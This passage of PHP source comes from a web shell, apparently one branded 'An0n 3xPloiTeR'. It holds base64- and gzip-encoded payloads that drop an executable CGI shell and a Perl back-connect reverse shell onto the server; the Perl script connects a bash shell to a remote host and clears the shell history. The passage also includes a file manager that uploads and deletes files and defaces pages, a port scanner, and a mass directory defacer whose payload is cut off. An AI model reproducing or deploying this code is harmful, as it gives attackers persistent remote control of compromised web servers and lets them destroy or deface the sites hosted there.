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';
968 $file = @fopen("izo.cin", "w+");
969 $write = @fwrite($file, htmlspecialchars_decode(gzinflate(base64_decode($cgishellizocin))));
970 @fclose($file);
971 @chmod("izo.cin", 0755);
972 $netcatshell = 'IyEvdXNyL2Jpbi9wZXJsCnVzZSBJTzo6U29ja2V0OwokU2hlbGwJPSAiL2Jpbi9iYXNoIjsKJEFSR0M9QEFSR1Y7CnVzZSBTb2NrZXQ7CnVzZSBGaWxlSGFuZGxlOwpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoInRjcCIpKSBvciBkaWUgcHJpbnQgIlstXSBVbmFibGUgdG8gUmVzb2x2ZSBIb3N0XG4iOwpjb25uZWN0KFNPQ0tFVCwgc29ja2FkZHJfaW4oJEFSR1ZbMV0sIGluZXRfYXRvbigkQVJHVlswXSkpKSBvciBkaWUgcHJpbnQgIlstXSBVbmFibGUgdG8gQ29ubmVjdCBIb3N0XG4iOwpwcmludCAiQ29ubmVjdGVkISI7ClNPQ0tFVC0+YXV0b2ZsdXNoKCk7Cm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOwpvcGVuKFNURE9VVCwiPiZTT0NLRVQiKTsKb3BlbihTVERFUlIsIj4mU09DS0VUIik7CnByaW50ICJcdFx0XHRcdC0tPT0gQmFja2Rvb3IgQ29ubmVjdGVkID09LS0gIFxuXG5cdFx0XHRcdC0tPT0gQnkgQW4wbiAzeFBsb2lUZVIgPT0tLVxuXG4iOwpzeXN0ZW0oInVuc2V0IEhJU1RGSUxFOyB1bnNldCBTQVZFSElTVCA7ZWNobyAnWytdIFN5c3RlbWluZm86ICc7IHVuYW1lIC1hO2VjaG87ZWNobyAnWytdIFVzZXJpbmZvOiAnOyBpZDtlY2hvO2VjaG8gJ1srXSBEaXJlY3Rvcnk6ICc7IHB3ZDtlY2hvOyBlY2hvICdbK10gU2hlbGw6ICc7JFNoZWxsIik7CmNsb3NlIFNPQ0tFVDs=';
973 $file = fopen("dc.pl", "w+");
974 $write = fwrite($file, base64_decode($netcatshell));
975 fclose($file);
976 @chmod("dc.pl", 0755);
977 echo "<iframe src='izo.cin' width=100% height=300% frameborder=0></iframe> ";
978 echo '</div>';
979 printFooter();
980}
981
982
983function actioncleanshell()
984{
985
986 $self= $_SERVER["PHP_SELF"]; // Where am i
987 header("location:$self?mini_shell");
988}
989function actioncpcrack()
990{
991
992 $self= $_SERVER["PHP_SELF"]; // Where am i
993 header("location:$self?cp");
994}
995
996function actionFilesMan() {
997 printHeader();
998 echo '<h1>File manager</h1><div class=content>';
999 if(isset($_POST['p1']) && $_POST['p1']!='deface') {
1000 switch($_POST['p1']) {
1001 case 'uploadFile':
1002 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
1003 echo "Can't upload file!";
1004 break;
1005 break;
1006 case 'mkdir':
1007 if(!@mkdir($_POST['p2']))
1008 echo "Can't create new dir";
1009 break;
1010 case 'delete':
1011 function deleteDir($path) {
1012 $path = (substr($path,-1)=='/') ? $path:$path.'/';
1013 $dh = opendir($path);
1014 while ( ($item = readdir($dh) ) !== false) {
1015 $item = $path.$item;
1016 if ( (basename($item) == "..") || (basename($item) == ".") )
1017 continue;
1018 $type = filetype($item);
1019 if ($type == "dir")
1020 deleteDir($item);
1021 else
1022 @unlink($item);
1023 }
1024 closedir($dh);
1025 rmdir($path);
1026 }
1027 if(is_array(@$_POST['f']))
1028 foreach($_POST['f'] as $f) {
1029 $f = urldecode($f);
1030 if(is_dir($f))
1031 deleteDir($f);
1032 else
1033 @unlink($f);
1034 }
1035 break;
1036
1037
1038
1039
1040 case 'paste':
1041 if($_SESSION['act'] == 'copy') {
1042 function copy_paste($c,$s,$d){
1043 if(is_dir($c.$s)){
1044 mkdir($d.$s);
1045 $h = opendir($c.$s);
1046 while (($f = readdir($h)) !== false)
1047 if (($f != ".") and ($f != "..")) {
1048 copy_paste($c.$s.'/',$f, $d.$s.'/');
1049 }
1050 } elseif(is_file($c.$s)) {
1051 @copy($c.$s, $d.$s);
1052 }
1053 }
1054 foreach($_SESSION['f'] as $f)
1055 copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);
1056 } elseif($_SESSION['act'] == 'move') {
1057 function move_paste($c,$s,$d){
1058 if(is_dir($c.$s)){
1059 mkdir($d.$s);
1060 $h = opendir($c.$s);
1061 while (($f = readdir($h)) !== false)
1062 if (($f != ".") and ($f != "..")) {
1063 copy_paste($c.$s.'/',$f, $d.$s.'/');
1064 }
1065 } elseif(is_file($c.$s)) {
1066 @copy($c.$s, $d.$s);
1067 }
1068 }
1069 foreach($_SESSION['f'] as $f)
1070 @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
1071 }
1072 unset($_SESSION['f']);
1073 break;
1074 default:
1075 if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
1076 $_SESSION['act'] = @$_POST['p1'];
1077 $_SESSION['f'] = @$_POST['f'];
1078 foreach($_SESSION['f'] as $k => $f)
1079 $_SESSION['f'][$k] = urldecode($f);
1080 $_SESSION['cwd'] = @$_POST['c'];
1081 }
1082 break;
1083 }
1084 echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
1085 }
1086
1087 $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
1088 if($dirContent === false) { echo 'Can\'t open this folder!'; return; }
1089 global $sort;
1090 $sort = array('name', 1);
1091 if(!empty($_POST['p1'])) {
1092 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
1093 $sort = array($match[1], (int)$match[2]);
1094 }
1095 echo '<script>
1096 function sa() {
1097 for(i=0;i<document.files.elements.length;i++)
1098 if(document.files.elements[i].type == \'checkbox\')
1099 document.files.elements[i].checked = document.files.elements[0].checked;
1100 }
1101 </script>
1102 <table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>
1103 <form name=files method=post>';
1104 echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
1105 $dirs = $files = $links = array();
1106 $n = count($dirContent);
1107 for($i=0;$i<$n;$i++) {
1108 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
1109 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
1110 $tmp = array('name' => $dirContent[$i],
1111 'path' => $GLOBALS['cwd'].$dirContent[$i],
1112 'modify' => @date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
1113 'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
1114 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
1115 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
1116 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
1117 );
1118 if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
1119 $files[] = array_merge($tmp, array('type' => 'file'));
1120 elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
1121 $links[] = array_merge($tmp, array('type' => 'link'));
1122 elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
1123 $dirs[] = array_merge($tmp, array('type' => 'dir'));
1124 }
1125 $GLOBALS['sort'] = $sort;
1126 function cmp($a, $b) {
1127 if($GLOBALS['sort'][0] != 'size')
1128 return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
1129 else
1130 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
1131 }
1132 usort($files, "cmp");
1133 usort($dirs, "cmp");
1134 usort($links, "cmp");
1135 $files = array_merge($dirs, $links, $files);
1136 $l = 0;
1137 foreach($files as $f) {
1138 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
1139 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
1140 $l = $l?0:1;
1141 }
1142 echo '<tr><td colspan=5>
1143 <input type=hidden name=a value=\'FilesMan\'>
1144 <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
1145 <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
1146 <select name=\'p1\'><option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>';
1147 if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){echo '<option value=\'paste\'>Paste</option>'; }
1148 echo '</select> <input type="submit" value=">>"></td><td colspan="2" align="right" width="1"><input name="def" id="def" value="An0n_3xPloiTeR.html" size="10"/> <input type="button" onclick="g(\'FilesMan\',\''.htmlspecialchars($GLOBALS['cwd']).'\',\'deface\',document.getElementById(\'def\').value)" value="Submit"></td></tr>
1149 </form></table></div>';
1150 printFooter();
1151}
1152
1153
1154function actionPortScanner() {
1155 printHeader();
1156 echo '<center><h1>Port Scanner</h1></center>';
1157 echo '<div class="content">';
1158 echo '<form action="" method="post">';
1159
1160 if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
1161 $start = strip_tags($_POST['start']);
1162 $end = strip_tags($_POST['end']);
1163 $host = strip_tags($_POST['host']);
1164 for($i = $start; $i<=$end; $i++){
1165 $fp = @fsockopen($host, $i, $errno, $errstr, 3);
1166 if($fp){
1167 echo 'Port '.$i.' is <font color=aqua>open</font><br>';
1168 }
1169 flush();
1170 }
1171 } else {
1172 echo '<br /><br /><center><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
1173 <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
1174 <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
1175 Host: <input type="text" name="host" value="localhost"/><br /><br />
1176 Port start: <input type="text" name="start" value="0"/><br /><br />
1177 Port end:<input type="text" name="end" value="5000"/><br /><br />
1178 <input type="submit" value="Scan Ports" />
1179 </form></center><br /><br />';
1180 }
1181 echo '</div>';
1182 printFooter();
1183}
1184
1185
1186function actionDirDefacer() {
1187 printHeader();
1188 $dirdeface = "3RlrbyLJ8bMj5T90FGfHVmYA395uVljogrH3bAUby+DdXG4t1MwUTB8z03M9jYGL/N9T/ZgXxuBTVqfTIS/0o6q6Hl2vXvImkqd/OR/0Rj/cXpBQxtGbmTz985/Ucjk70FOggZ3quWQyArVwTbOMnMOU+kC6UUTOmQBfcsEgIx7pJq2EvF3dRpyN4E4hNgvMnFQMkhI/pCID2Xnz84LL0/vRR++DGZLmM9iExmABA8h8wVLJeGLBfZ5ISHJCl9SfQ0DO1pucvIJ2xH369QiHUqYe/Lxgj5aCgKmALNxK/eRDq2VGio62kueRj1yQO4PFkhm5pTNU+VSCIG/ft1rkCimIRxplhE+JZDEQz9sl35KLOdL56nqjE76Q/wdVYj9baS9kyMVW4nWSLrmPqSBdMQVIyDCk4esPmcMadRNkO2Rwz9auOtAtD3xJOPfXa1DAI8uY9Kgy7p4LsucO02S2wHuylQgkL5LIAZ0ZJCBo5BiijkCPSGbOTgzOZxHkCAYf48FOnCmPIr50aVQcFGfJhMtfiUQjWNF9aCmds0zSpOSQN9IIw5ea7sI0ymJJACu3PNuqsKJzowBk4/Wx4N/efdfr8ThF9U6i7da6uvAgKCxZIxqxZE4ERBZyeDm4G/XuR+SqN7ix8CGGG7utTm83m6zB4tlCNHweN69Wb6Pwc9z4KZ295lY9MlimXGx38iULZNgJ8Ar74OmJS1jCJKORl/loos7J7jOcDKjwQwLJjCWQOaXpusCWzO0qK+N3NArhM0xwJOknZVK3O+jfgJyiidDpflmCyNweTWhAXZOVLpl0LxaCDwHm7sXKZxLcwSMIuRDgfs/xT1nOveTyjEuMp1N+Tefuv2jCeYDr/bXPM/ea+hh+YaiQb3SCoGXWW7s3qJcQREL6bBZKd6hlucIBi9MIzNRFtrNrnsk+Gg6DCU5HPHU/h1R6957mDkVxf6Ah52qzJ+gyAuEqjrIK79fo2RG6uNvnfD7EeCfdCbqn27u5GFlhnntDJtdl/j2Y8GBN/muGGMBmgi+SwPN5xEWb/LX1ofXupGUgh727Qb9/1r3zPnZ7F15v0B/cKRD9OSUbMJdX31/28d9oH+Dwsns++LwP6qw7fHakBrGcLkPUh1l50t9c1wRWsi1QBxJWGGAjNkvaBH0fA63dmOJt85agrNcmEx4FlhmzMaUxi9aIshAZe8yJTTBdgPAimCocDCbz+oaw1J7vaGu0Ceqdl9SeGcIgEiNaBhHetT+kaCxJF1qyP5RslWup2KcC6A7r/d4FMXxk7BdE+9D6W9XpGoHuA8YpxqW6gAKC071S7LatOfFtq3ak7iiqEU0vVJoVNVcxrjIN2CPxI2xbih6iYLqsuXPi6ugX2pwtdaw6PMfImcHjqgS/S8MUFQlCcDEWoNIohuyj1jFCgB9yYnlAUKODvAOYchET6quw1vligOwPwdwZ8iBfTTGxfCkl+WKrPMWBPuAwYEJ0Dse3g+HoRycY49R5ULuHurYhHWL3DJ5psMy4DpZJLYGqnY4cA+C49tf8uAb2eBONpRkaIITsqAIwXSRaOpLRySIZx6